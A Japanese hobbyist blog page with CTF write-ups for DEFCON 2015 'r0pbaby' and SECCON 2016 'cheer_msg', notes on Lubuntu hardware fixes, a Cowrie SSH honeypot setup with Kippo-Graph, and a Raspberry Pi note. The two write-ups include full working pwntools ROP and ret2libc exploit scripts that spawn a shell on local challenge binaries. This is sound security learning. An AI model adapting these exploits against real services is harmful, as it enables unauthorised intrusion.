読者です 読者をやめる 読者になる 読者になる

1日ひとつだけ強くなる

おべんきょうのーと

DEFCON Qualifier 2015: r0pbaby

はじめに

こつこつbataさんリスト埋めます。

pwn challenges list - Pastebin.com

ローカルで解けたのでメモ。

配布

このリストから問題のバイナリとか頂いてます。

ctf4u

$ file

$ file r0pbaby 
r0pbaby: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

strippedって見ると条件反射的にうわぁ…ってなっちゃうの克服したい。64bitバイナリです。

$checksec

$ checksec r0pbaby 
[*] '/home/ubuntu/writeup/bata/baby/r0pbaby/r0pbaby'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

NXbitが有効になっているのと名前からROP問題だろうと推測できる。PIEが有効なので直接バイナリ読むってのも違いそう。

実行してみる。

1を選択するとlibcのベースアドレスが(?)、2を選択すると任意のlibc内の関数のアドレスが与えられる。 3を選択して適当に10文字とかで入力を入れると落ちた。ので、gdbで何が起こってるのか見てみる。

$ ./r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857590
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
# この後Segmentation Faultで落ちる

gdbで動いてるプロセスにアタッチしてやると、以下のような出力を得た。

最近知ったんだけど、strippedなバイナリで入力処理とかしてるのは動いてるプロセスにアタッチするといい感じのとこで始まるので良いなと思った。

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff78fc710 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7bd19e0 --> 0x0 
RSI: 0x7ffff7bd0483 --> 0xbd19e0000000000a 
RDI: 0x1 
RBP: 0x4141414141414141 (b'AAAAAAAA')
RSP: 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
RIP: 0x555555554eb3 (ret)
R8 : 0x7ffff7bd19e0 --> 0x0 
R9 : 0x555555554fbb --> 0x732064614200203a 
R10: 0x7ffff7fd4740 (0x00007ffff7fd4740)
R11: 0x246 
R12: 0x555555554a60 (xor    ebp,ebp)
R13: 0x7fffffffe070 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
   0x555555554eb2:  pop    rbp
=> 0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
   0x555555554ec2:  mov    r15d,edi
[------------------------------------stack-------------------------------------]
00:0000| rsp 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
01:0008|     0x7fffffffdfa0 ("CCCCCCCCDDDDDDD"...)
02:0016|     0x7fffffffdfa8 ("DDDDDDDD")
03:0024|     0x7fffffffdfb0 --> 0x100000000 
04:0032|     0x7fffffffdfb8 --> 0x555555554c46 (push   rbp)
05:0040|     0x7fffffffdfc0 --> 0x0 
06:0048|     0x7fffffffdfc8 --> 0x4eadd4ca677d9d9e 
07:0056|     0x7fffffffdfd0 --> 0x555555554a60 (xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x0000555555554eb3 in ?? ()
gdb-peda$  

見てみると、ret命令でリターンアドレスを読み込もうとしてるが、rspには先ほど入力したBBBB....という文字列のアドレスが指されているため、落ちたのだろうとわかる。

じゃあ、これを利用してlibc内のsystem関数を呼んであげればいいのか〜〜〜〜

ん??でも引数ってどうするんだ…?? これまで解いてきたのはスタックに引数が積まれて、間にパディングを挟んで呼び出したから行けたけど、今回は。。。???

ってなったところでひとしきり悩んで、わからなかったのでwriteup参考にした。

見てみると、rdiに第一引数が格納されるので、libc内からpop rdi; ret;の命令を持つガジェットを探して、ROPチェーンを組めばいいらしい。 そういえば、リバースエンジニアリングバイブルにも書いてあった気がする。(現在手元にないので確認できない。)

これはx64のバイナリに共通なのだろうか..??リバースエンジニアリングバイブルは中盤からC++アセンブリの説明だったので、これがC++で書かれてるのかそれとも第1引数がrdiに格納されるのがx64共通なのか、、、

記事書きながら調べてみると、64bitの場合、引数はedi、esi、edx、ecx、r8d、r9d、(rsp)となる。つまり、64bitで任意の関数を実行するには対応したレジスタに引数を入れるように仕向けないといけないってことか….

それにしても、popret使うROP問題はハリネズミ本以来で不安…… あまり具体的にイメージができていない気もするし。

exploit

作っていくpayloadは、

<padding><pop rdi;ret;><bin/sh/><system>

という感じ。

使ってるlibcは

$ ldd r0pbaby 
    linux-vdso.so.1 =>  (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd3000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780e000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

から、

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep sh$
 17c8c3 /bin/sh
$ rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 | grep 'pop rdi'
0x00022b9a: pop rdi ; ret  ;  (1 found)
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000046590 W system

なお、1を選択して得られたlibc addressとかいう奴と、2を選択して得られたsystemアドレスから計算したlibcのベースアドレスが違った。うまく動いたのは、systemのアドレスからオフセット計算した時だった。 これは、どういうことなんだろう….??1で得られるアドレスが何のアドレスなのかわかってない。

まぁ、必要な値は揃ったので、以下のようなスクリプトを書いて実行した。

from pwn import *
import sys
import time

def bp():
    raw_input("break point: ")

r = remote('127.0.0.1', 4000)
   
# ========get elf base===========
r.recvuntil('4) Exit\n: ')

print '========= get libc base ==========='
r.sendline('1')
# len('libc.so.6: ') = 11
# len('libc.so.6: 0x00007ffff7ff79b0') = 29
libc_base = int(r.recvline()[11:29], 16)
print 'libc_base = {}'.format(hex(libc_base))
time.sleep(1)
r.recvuntil('4) Exit\n: ')

print '========= get libc_system addr ==========='
r.sendline('2')
r.recvuntil('Enter symbol: ')
r.sendline('system')
# Symbol system: 
libc_system = int(r.recvline()[15:33], 16)
print 'libc_system = {}'.format(hex(libc_system))
r.recvuntil('4) Exit\n: ')

print "======== exploit ========"
r.sendline('3')
r.recvuntil('(max 1024): ')
r.sendline('32')

popret_offset = 0x00022b9a
binsh_offset = 0x17c8c3
system_offset = 0x46590

libc_base = libc_system - system_offset
popret = libc_base + popret_offset
bin_sh = libc_base + binsh_offset

# rop buffer
# <pop rdi><bin/sh/><system>
 

#r.recvuntil('4) Exit\n: ')


print "popret: {popret}\nbinsh: {binsh}\nlibc_system: {system}".format(
    popret=hex(popret),binsh=hex(bin_sh),system=hex(libc_system))


rop = ''.join([
    'A'*8,
    p64(popret),
    p64(bin_sh),
    p64(libc_system)])
print "buf: {}".format(rop)

r.sendline(rop)

r.interactive()

これでシェルが取れた。

$ python exploit.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
========= get libc base ===========
libc_base = 0x7ffff7ff79b0
========= get libc_system addr ===========
libc_system = 0x7ffff7857590
======== exploit========
popret: 0x7ffff7833b9a
binsh: 0x7ffff798d8c3
libc_system: 0x7ffff7857590
buf: AAAAAAAA\x9a;\x83÷ÿ\x00ÃØ\x98÷ÿ\x00\x90u\x85÷ÿ\x00
[*] Switching to interactive mode
$ whoami
ubuntu
$  

感想

popret gadgetを使ってみて、ROPのpopretの命令でやってることがより具体的にイメージがついたように思う。 babyになれるように精進します。

あと、libcのアドレスがどこのアドレスなのか教えてもらえると助かります。(libc内検索してみたんだけど、それっぽいのが見つからなかった)

参考

NetAgent Official Blog : 64ビット環境におけるリバースエンジニアリング

Assembly Programming on x86-64 Linux (04)

Syscall Number for x86-64 linux (A)

参考サイトとか見てみるんですが、検索能力が低いのかブログにあたるばかりで公式の(?)ページが見つからないんですよね… 2次ソースばかりを参考としているのでちゃんとしたソースを見つけられるようにもなりたい….

Lubuntu 16.10でCaps LockをCtrlにする

やるだけ

sudo nano /etc/default/keyboad

XKBOPYIONSという項目を編集。

XKBOPTIONS="ctrl:nocaps"

caps lockとctrlを入れ替える時はctrl:swapcapsにする。

あとは再起動するだけ。

lubuntu 16.10 入れ直したらタッチパッド動かなくなった

はじめに

Lubuntu-16.10をインストールし直した。すると、案の定タッチパッドが動かなくなった。(前回Ubuntu入れてた時も動かなかった)xinputdmesgを見てみると、そもそもドライバが認識されていないっぽい。ただ、前回Ubuntuの時も同様のことがあったので、解決するだろうというのはわかっていた。

調べているうちに、「そういえばUbuntuの時はgrubの設定変更したな…?」と思って探してみた。

環境

FUJITSU_LIFEBOOK_AH53/Mである。

やっていき

$ sudo nano /etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULTってとこがある。

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"

これを

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i8042.notimeout i8042.nomux"

こうした。

最後に

$ sudo update-grub
$ sudo reboot

再起動が完了したら動いた。

ちなみに、Ubuntu ForumsとかAsk Ubuntuにはi8042.resetとか、i8042.nomux=1 i8042.resetを追加するというのもあったが、どれも動かなかった。

i8042チップの互換ドライバのオプションらしいが、謎だ

unix.stackexchange.com

さいごに

調べてたらFujitsuのlifebookでやった話が出てきて徒労感に追われた。つらい気持ちだ。

askubuntu.com

参考

Ubuntu日本語フォーラム / PS/2のノートPC内蔵タッチパッドが反応しない。

ハニーポットCowrieのログをMySQLに突っ込んでKippo-Graphで可視化した話

はじめに

今回は前回に引き続き、ハニーポットCowrieの設定をこちらにメモしていきたいと思います。

hal0taso.hateblo.jp

なお、今回の記事作成時(2016年12月17日)においてはMySQLにCowrieのデータが入らないバグが報告されています。

output_mysql not sending data · Issue #309 · micheloosterhof/cowrie · GitHub

ここでは一時的な解決方法と、Cowrieのポートフォーワード設定(iptables)、Kippo-graphを用いたplaylogの可視化までを書いていきたいと思います。

ポートフォーワードの設定

Cowrieはsshハニーポットですが、ポート22で直接sshを待ち受けることは推奨されていません。よって、22番のポートに接続された場合にCowrieが待ち受けているポートにリダイレクトさせたいと思います。(管理用のsshポートも事前に別のポートで設定してください)

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
$ sudo iptables -t nat -n -L

リダイレクトの設定が反映されていることを確認したら、再起動時にも設定が保持されるように以下のパッケージをインストールします。CowrieではIPv6は使用しないので、IPv6の設定に聞かれた時はnoでも大丈夫です。

$ sudo apt-get install iptables-persistent
$ sudo systemctl enable netfilter-persistent

MySQLの設定

MySQLインストー

よしなに。インストールの際にrootユーザーのパスワードを設定する必要があるので設定しましょう。

$ sudo apt-get update
$ sudo apt-get install mysql-server libmysqlclient-dev
$ pip install mysql-python 

pipはcowrieのvietualenv内でインストールしましょう

MySQLの設定

僕はこちらを参考に設定させてもらいました。

Kippo-GraphをインストールしてCowrieのログを可視化する

こんな感じです。

$ sudo vi /etc/mysql/my.cnf
[mysqld]
character-set-server=utf8
collation-server=utf8_general_ci
skip-character-set-client-handshake
default-storage-engine=InnoDB
innodb_file_per_table
innodb_buffer_pool_size=256M
skip-name-resolve

[mysqldump]
default-character-set=utf8

[mysql]
default-character-set=utf8

なお、僕の環境では上記の設定は各セクションの最後に追記しないとMySQLを起動できませんでした。

$ sudo systemctl restart mysql

ログの出力先の設定

次に、cowrieのログの出力先をMySQLに設定していきます。 mysqlを起動します。

$ mysql -u root -p

mysql> CREATE DATABASE cowrie;
mysql> GRANT ALL ON cowrie.* TO cowrie@localhost IDENTIFIED BY 'your_password';  # パスワードは自分のものを使用
mysql> exit

# cowrieのインストール先ディレクトリに移動
$ cd /home/cowrie/cowrie/

$ mysql -u cowrie -p
mysql> USE cowrie;
mysql> source ./doc/sql/mysql.sql
mysql> exit

次に、cowrie.cfgを設定していきます。

$ cd /home/cowrie/cowrie/
$ nano cowrie.cfg

# コメントアウトします。
#[iutput_jsonloi]
#logfile = log/cowrie.json

# コメントアウトを外します
[output_mysql]
host = localhost
database = cowrie
username = cowrie
password = your_password # 先ほど設定したパスワードを使用
port = 3306
#debug = false # trueにすると、/home/cowrie/cowrie/log/coerie.log にmysqlとの接続時のデバッグメッセージが表示されます。

多分この時点ではまだMySQLにログが入ってないと思います。ローカルネットからアクセスして確かめてみてください。

ブランチを変更する(2016年12月17日現在)

本記事の序盤でも述べたように、CowrrieのログをMySQLに出力するようにしてもデータベースにログが出力されないというバグが報告されています(issue#321,issue#309あたりで一連の議論がなされています。)

これを回避するために、現時点ではbranchを以前のものに切り替えることでMySQLにデータが出力されます。

$ cd /home/cowrie/cowrie/
$ git checkout 45022b7

最後にcowrieを再起動してMySQLにデータが入ってることを確かめます。

$ ./stop.sh
$ ./start.sh

Apache2のインストー

$ sudo apt-get install apache2

apache2のセキュリティ設定、文字コード設定、SeverName設定を行います。

$ sudo nano /etc/apache2/conf-available/security.conf
ServerTokens Prod
ServerSignature Off

$ sudo vi /etc/apache2/conf-available/charset.conf
#AddDefaultCharset UTF-8

$ sudo sh -c "echo ServerName ${HOSTNAME} > /etc/apache2/conf-available/fqdn.conf"
$ sudo a2enconf fqdn

Apache2を再起動します。

$ sudo apachectl configtest
$ sudo systemctl restart apache2

Kippo-Graphのインストー

README.mdみて。 ちなみに記事執筆時の最新バージョンは1.5です。

https://bruteforce.gr/kippo-graph

と思ったけど僕は(こちら)http://www.shinayoshi.net/post/2016/08/16/install-kippo-graph/参考にインストールしてました。

$ wget http://bruteforce.gr/wp-content/uploads/kippo-graph-1.5.1.tar.gz
$ sudo tar zxvf kippo-graph-1.5.1.tar.gz -C /usr/share
$ sudo vi /etc/apache2/conf-available/kippo-graph.conf
<IfModule mod_alias.c>
    Alias /kippo-graph /usr/share/kippo-graph-1.5.1
</IfModule>
$ sudo a2enconf kippo-graph
$ sudo apachectl configtest
$ sudo systemctl restart apache2

Kippo-Graphの設定をします。

$ sudo chmod 777 /usr/share/kippo-graph-1.5.1/generated-graphs/
$ sudo cp -p /usr/share/kippo-graph-1.5.1/config.php.dist /usr/share/kippo-graph-1.5.1/config.php
$ sudo vi /usr/share/kippo-graph-1.5.1/config.php
define('DB_HOST', 'localhost');
define('DB_USER', 'cowrie');
define('DB_PASS', 'your_password');
define('DB_NAME', 'cowrie');
define('DB_PORT', '3306');

Kippo-Graphの修正

もともとKippo-GraphはKippoのためのものなので、Cowrieだと動かない部分もあるっぽい。実際にPlaylogが動かないのでその解決法をこちらに載せておきます。 (ただし、色々いじくりまわした結果なので、自己責任でお願いします)

(こちらから引用させていただいてます。)http://www.shinayoshi.net/post/2016/08/16/install-kippo-graph/ class/KippoPlayLog.class.phpの修正

$ cd /usr/share/kippo-graph-1.5.1
$ sudo cp -p class/KippoPlayLog.class.php class/KippoPlayLog.class.php.org
$ sudo nano class/KippoPlayLog.class.php
$ diff class/KippoPlayLog.class.php.org class/KippoPlayLog.class.php
21c21
<             SELECT ttylog.session, timestamp, ROUND(LENGTH(ttylog)/1024, 2) AS size
---
>             SELECT ttylog.session, timestamp, ROUND(size/1024, 2) AS size

include/play.phpの修正

$ cd /usr/share/kippo-graph-1.5.1
$ sudo cp -p include/play.php include/play.php.org
$ sudo nano include/play.php
$ diff play.php.org play.php
70c70
<                 $log = base64_encode($row['ttylog']);
---
>                 $log = base64_encode(file_get_contents($row['ttylog']));

ttylogへのシンボリックリンク作成

$ cd /usr/share/kippo-graph-1.5.1/include
$ sudo ln -s ${COWRIE_INSTALL_DIR}/log/ log
$ sudo chgrp www-data /home/cowrie/cowrie/log/tty/
$ sudo chmod g+s /home/cowrie/cowrie/log/tty/

Cowrie起動スクリプトの修正

$ sudo su - cowrie
$ cd ${COWRIE_INSTALL_DIR}/
$ cp -p start.sh start.sh.org
$ vi start.sh
$ diff start.sh.org start.sh
31c31
<     twistd $XARGS -l log/cowrie.log --umask 0077 --pidfile cowrie.pid cowrie
---
>     twistd $XARGS -l log/cowrie.log --umask 0027 --pidfile cowrie.pid cowrie
33c33
<     authbind --deep twistd $XARGS -l log/cowrie.log --umask 0077 --pidfile cowrie.pid cowrie
---
>     authbind --deep twistd $XARGS -l log/cowrie.log --umask 0027 --pidfile cowrie.pid cowrie

Cowrieの再起動

$ ./stop.sh
$ ./start.sh

apacheのエラーログを見てみる

/var/log/apache2/error.logを見てるとこんなのが出てた。

どうやら、書き込み先のファイルに書き込み権限がないみたいだが、ファイル名からするにtorの出口ノードのリスト?っぽい(詳しくないので本当にそうか分かってないが)

[Sat Dec 17 07:11:33.646658 2016] [:error] [pid 2732] [client 192.168.0.10:56649] PHP Warning:  file_put_contents(/usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt): failed to open stream: Permission denied in /usr/share/kippo-graph-1.5.1/include/tor/tor.class.php on line 11, referer: http://192.168.0.202/kippo-graph/include/play.php?f=4e4556a6

中身を見てみるとIPアドレスが列挙されてるだけだったため大丈夫だろうと思い、パーミッションを変更してやるとWarningは出なくなった。

$ sudo chgrp www-data /usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt
$ sudo chmod g+w /usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt

これでKippo-Graphも見れるはず。

感想

実はこの記事を書いたり設定がうまくいかなくて苦しんでいる間にも、sshでのアクセス試行が繰り返されていた。ログ出力周りまだ準備できてないのに待ってくれよ!とは思ったものの、攻撃者は待ってはくれないのである。この記事を書いてる間にも、十数分に1回くらいの頻度でアクセスを受けている。

思ったよりも攻撃者はすぐそばにいるし、パスワードの複雑化、公開鍵認証を使うなどはめんどくさいように思っていても(実際、僕も運用するまで日に数回くらいでしょwwwとか思ってた)大切であることを感じた。

年明けに運用結果の中間報告をしてみたいと思う。

(※そういえば、KIPPO-IPのページでSuccessの値がN/Aになってるのってなんでなんすかね…??途中で接続切れてるとか?もしわかる方いれば教えてほしいです。こちらでも調べておきます。)

www.youtube.com

SECCON 2016 Online 復習:cheer_msg

はじめに

12/10 15:00-12/11 15:00の24時間、SECCON 2016のオンライン予選が開催されました。僕はチームg0tiu5aで参戦したのですが、点数を入れられず…..もっと精進して解けるようになりたいと思います。

チームとしては400点獲得しました。

僕は10日はバイトだったのですが、帰宅に失敗し24時を過ぎたくらいから挑戦しました。

pwn, revを勉強していたので、100点の問題くらいは解きたいなぁと考えていたんですが、まだまだ実力不足でした。

今回はpwn100 cheer_msgがようやく解けたので書いていきます。

解いた問題は学習のために続々Upしていきたい所存です。

cheer_msg

友利奈緒に応援メッセージを送るプログラムを渡されます。

$ file cheer_msg
cheer_msg: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped

$ checksec cheer_msg
[*] '/home/ubuntu/writeup/seccon2016/cheer_msg/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

コンテスト中に、Message Lengthに負数を渡すとなんか挙動がおかしくなるなぁって気づいてたんですが、実力不足でそこから進めませんでした。

080485ca <main>:
 80485ca:   8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:   83 e4 f0                and    esp,0xfffffff0
 80485d1:   ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d4:   55                      push   ebp
 80485d5:   89 e5                   mov    ebp,esp
 80485d7:   51                      push   ecx
 80485d8:   83 ec 24                sub    esp,0x24
 80485db:   c7 04 24 e0 87 04 08    mov    DWORD PTR [esp],0x80487e0
 80485e2:   e8 49 fe ff ff          call   8048430 <printf@plt>
 80485e7:   e8 21 01 00 00          call   804870d <getint>
 80485ec:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:   8d 50 0f                lea    edx,[eax+0xf]
 80485f5:   b8 10 00 00 00          mov    eax,0x10
 80485fa:   83 e8 01                sub    eax,0x1
 80485fd:   01 d0                   add    eax,edx
 80485ff:   b9 10 00 00 00          mov    ecx,0x10
 8048604:   ba 00 00 00 00          mov    edx,0x0
 8048609:   f7 f1                   div    ecx
 804860b:   6b c0 10                imul   eax,eax,0x10
 804860e:   29 c4                   sub    esp,eax
 8048610:   8d 44 24 08             lea    eax,[esp+0x8]
 8048614:   83 c0 0f                add    eax,0xf
 8048617:   c1 e8 04                shr    eax,0x4
 804861a:   c1 e0 04                shl    eax,0x4
 804861d:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048620:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 8048623:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048627:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 804862a:   89 04 24                mov    DWORD PTR [esp],eax
 804862d:   e8 0a 00 00 00          call   804863c <message>
 8048632:   c9                      leave  
 8048633:   c3                      ret

getintで正数を与えるとその分だけespを減算してメッセージのbufferの領域を確保してくれますが、負数を入れるとそのまま負数を減算します。つまり、espを高位アドレスに移すことができます。

gdb-peda$ 
-150
[------------------------------------------registers------------------------------------------]
EAX: 0x4 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0xc (b'\x0c')
EDX: 0x4 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0d8 --> 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd08c ("-150")
EIP: 0x8048690 (<message+84>:   mov    eax,DWORD PTR [ebp-0x5c])
[--------------------------------------------code---------------------------------------------]
   0x8048685 <message+73>:   lea    eax,[ebp-0x4c]
   0x8048688 <message+76>:   mov    DWORD PTR [esp],eax
   0x804868b <message+79>:   call   0x80486bd <getnline>
=> 0x8048690 <message+84>:   mov    eax,DWORD PTR [ebp-0x5c]
   0x8048693 <message+87>:   mov    DWORD PTR [esp+0x8],eax
   0x8048697 <message+91>:   lea    eax,[ebp-0x4c]
   0x804869a <message+94>:   mov    DWORD PTR [esp+0x4],eax
   0x804869e <message+98>:   mov    DWORD PTR [esp],0x804887d
[--------------------------------------------stack--------------------------------------------]

Message Length = -150NAME = (pattoc 100)とかでやってみると、オフセット0でEIPを奪えた。

[------------------------------------------registers------------------------------------------]
EAX: 0x0 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0x57 (b'W')
EDX: 0xf7fb4898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 ("AAsAABAA$AAnAAC"...)
EIP: 0x25414141 (b'AAA%')
[--------------------------------------------code---------------------------------------------]
Invalid $PC address: 0x25414141
[--------------------------------------------stack--------------------------------------------]
00:0000| esp 0xffffd120 ("AAsAABAA$AAnAAC"...)
01:0004|     0xffffd124 ("ABAA$AAnAACAA-A"...)
02:0008|     0xffffd128 ("$AAnAACAA-AA(AA"...)
03:0012|     0xffffd12c ("AACAA-AA(AADAA;"...)
04:0016|     0xffffd130 ("A-AA(AADAA;AA)A"...)
05:0020|     0xffffd134 ("(AADAA;AA)AAEAA"...)
06:0024|     0xffffd138 ("AA;AA)AAEAAaAA0"...)
07:0028|     0xffffd13c ("A)AAEAAaAA0AAFA"...)
[---------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x25414141 in ?? ()
gdb-peda$ patto AAA%
AAA% found at offset: 0

EIPは奪えたが、フラッグを読んでる関数は存在しないっぽいしバイナリ中にシェルを起動する関数もないっぽい。 libcのsystem関数を呼び出すret2libcすれば良い。

そのためにはlibcのbase addressをsetbuf関数のアドレスをprintfすることでleakしてやれば良い。

1回目のStackは以下のようにつむ。

--------------------------------------------------
printf@plt
--------------------------------------------------
main
--------------------------------------------------
"\nThank you %s!\nMessage : %s\n"のアドレス
--------------------------------------------------
setbuf@pltのGOTアドレス
--------------------------------------------------

それぞれのオフセットを調べておく。

$ nm -D libc-2.19.so | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf

$ nm -D libc-2.19.so | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

$ strings -a -tx libc-2.19.so | grep sh$
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh

setbufのlib base addressとのオフセットは0x67b20であることがわかるので、systemと引数の/bin/shのアドレスが求まる。

setbufのアドレスも調べておく。

$ readelf -r cheer_msg | grep .plt -A20
Relocation section '.rel.plt' at offset 0x3a0 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf
0804a014  00000307 R_386_JUMP_SLOT   00000000   fgets
0804a018  00000407 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804a01c  00000507 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a020  00000607 R_386_JUMP_SLOT   00000000   strchr
0804a024  00000707 R_386_JUMP_SLOT   00000000   strlen
0804a028  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a02c  00000907 R_386_JUMP_SLOT   00000000   atoi

2度目のStackは以下のようになる。

-------------------------------
system
-------------------------------
'AAAA'(適当)
-------------------------------
`/bin/sh`のアドレス
-------------------------------

最終的なコードは以下のようになりました。

from pwn import *
import sys

r = remote("localhost", 4444)

"""
# libc offset
00067b20 T setbuf
00040310 W system
 16084c /bin/sh
"""

offset_setbuf = 0x67b20
offset_system = 0x40310
offset_binsh = 0x16084c

main        = 0x080485ca
printf_plt  = 0x08048430
str_addr    = 0x0804887d
setbuf_addr = 0x0804a00c

r.recvuntil('Message Length >> ')
r.sendline('-150')

"""
# stack
- printf
- main
- '\nThank...
- setbuf
"""

rop = ''.join([
    p32(printf_plt),
    p32(main),
    p32(str_addr),
    p32(setbuf_addr),
    ])

r.recvuntil('Name >> ')
r.sendline(rop)

#print r.recv()
#print r.recv()

r.recvuntil('Message : \n\n')

addr = r.recvline()[:-2] # remove '\n!' from  'Thank you %s\n!'
leaked_setbuf = u32(addr[10:14]) # len('Thank you ') -> 10

libc_base_addr = leaked_setbuf - offset_setbuf
system_addr = libc_base_addr + offset_system
binsh_addr = libc_base_addr + offset_binsh

print "[*] address leaked."
print "leaked_setbuf = {0}".format(hex(leaked_setbuf))
print "libc_base_addr = {0}".format(hex(libc_base_addr))
print "system_addr = {0}".format(hex(system_addr))
print "binsh_addr = {0}".format(hex(binsh_addr))

"""
stack:
- system
- 'AAAA'
- '/bin/sh'
"""

rop = ''.join([
    p32(system_addr),
    'AAAA',
    p32(binsh_addr),
    ])

r.recvuntil('Message Length >> ')
r.sendline('-150')
r.recvuntil('Name >> ')
r.sendline(rop)

r.interactive()
$ python exploit.py 
[+] Opening connection to localhost on port 4444: Done
[*] address leaked.
leaked_setbuf = 0xf7e6fb20
libc_base_addr = 0xf7e08000
system_addr = 0xf7e48310
binsh_addr = 0xf7f6884c
[*] Switching to interactive mode

Thank you \x10\x83ä÷AAAAL\x88ö÷!
Message : 
$ ls 
cheer_msg
exploit.py
input.txt
libc-2.19.so
peda-session-cheer_msg.txt
$  

感想

正直まだまだ理解できてないことが多いな、ってのを当日取り組みながら&復習しながら感じました。まだまだアセンブリニーモニックすら読めてないし、ROPも実践するの初めてだし。(本の演習とかはするけど、問題解く感覚とは違う気がする)いろんな演算してる処理見てると後回しにしちゃう癖があるので、アセンブリ読みつつ、gdbで実行してみて実際の値がどうなってるか、てのを地道に見ていくのが必要だなぁと感じました。

あとは、実際に当日解いてた時は負数を-100とかにして入力いじってみても正常に終了してたり、例えばEIPにでてる表記をpattoで調べてもパターン検出しなかったり、やり直したら出てきました。(汗)入力のパターン数をもっと増やしてみるのが必要ですね。pwnlibとかもあんまうまく使えてなかったけど、これ書きながらなんとなく基本的な(?)使い方は理解したのでガンガン使っていきたいです。

解けなかったのはとても悔しいけど、知識が実践で定着していく、って感覚はとても楽しいし次は得点してやるぞ!って気持ちです。 自分の手数を増やしていきたいので復習終わったらbataさんのpwnリスト埋めと復習を続けていきます。

参考

SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録

SECCON 2016 Online CTF 供養(Writeup) - ももいろテクノロジー

SECCON 2016 Online writeup - yuta1024's diary

cheer msg - HackMD

Ubuntu16.04でRaspberry piを焼く

オープニング

今日の3分クッキングは〜〜〜♪♪

Raspberry piで使用するSDカードをフォーマットして、ディスクイメージを書き込むところから、初期設定までメモしておきたいと思います。

インストール

www.raspberrypi.org

SDカードのデバイス名を調べる

まずは何も挿していない状態とSDカードを指した状態でそれぞれdf -hコマンド

$ df -h
/dev/mmcblk0p1   63M   21M   43M  34% /media/[自分のデバイス名]/boot
/dev/mmcblk0p2   15G  1.2G   13G   9% /media/[自分のデバイス名]/0aed834e-8c8f-412d-a276-a265dc676112

コマンドの差分を確認してマウントされたSDカードのデバイス名を調べます。これは/dev/sdbやらあるそうですが、僕のは/dev/mmcblk0p\*/でした。

アンマウント

書き込みの前にそれぞれアンマウントしておきましょう。

$ umount /dev/mmcblk0p1
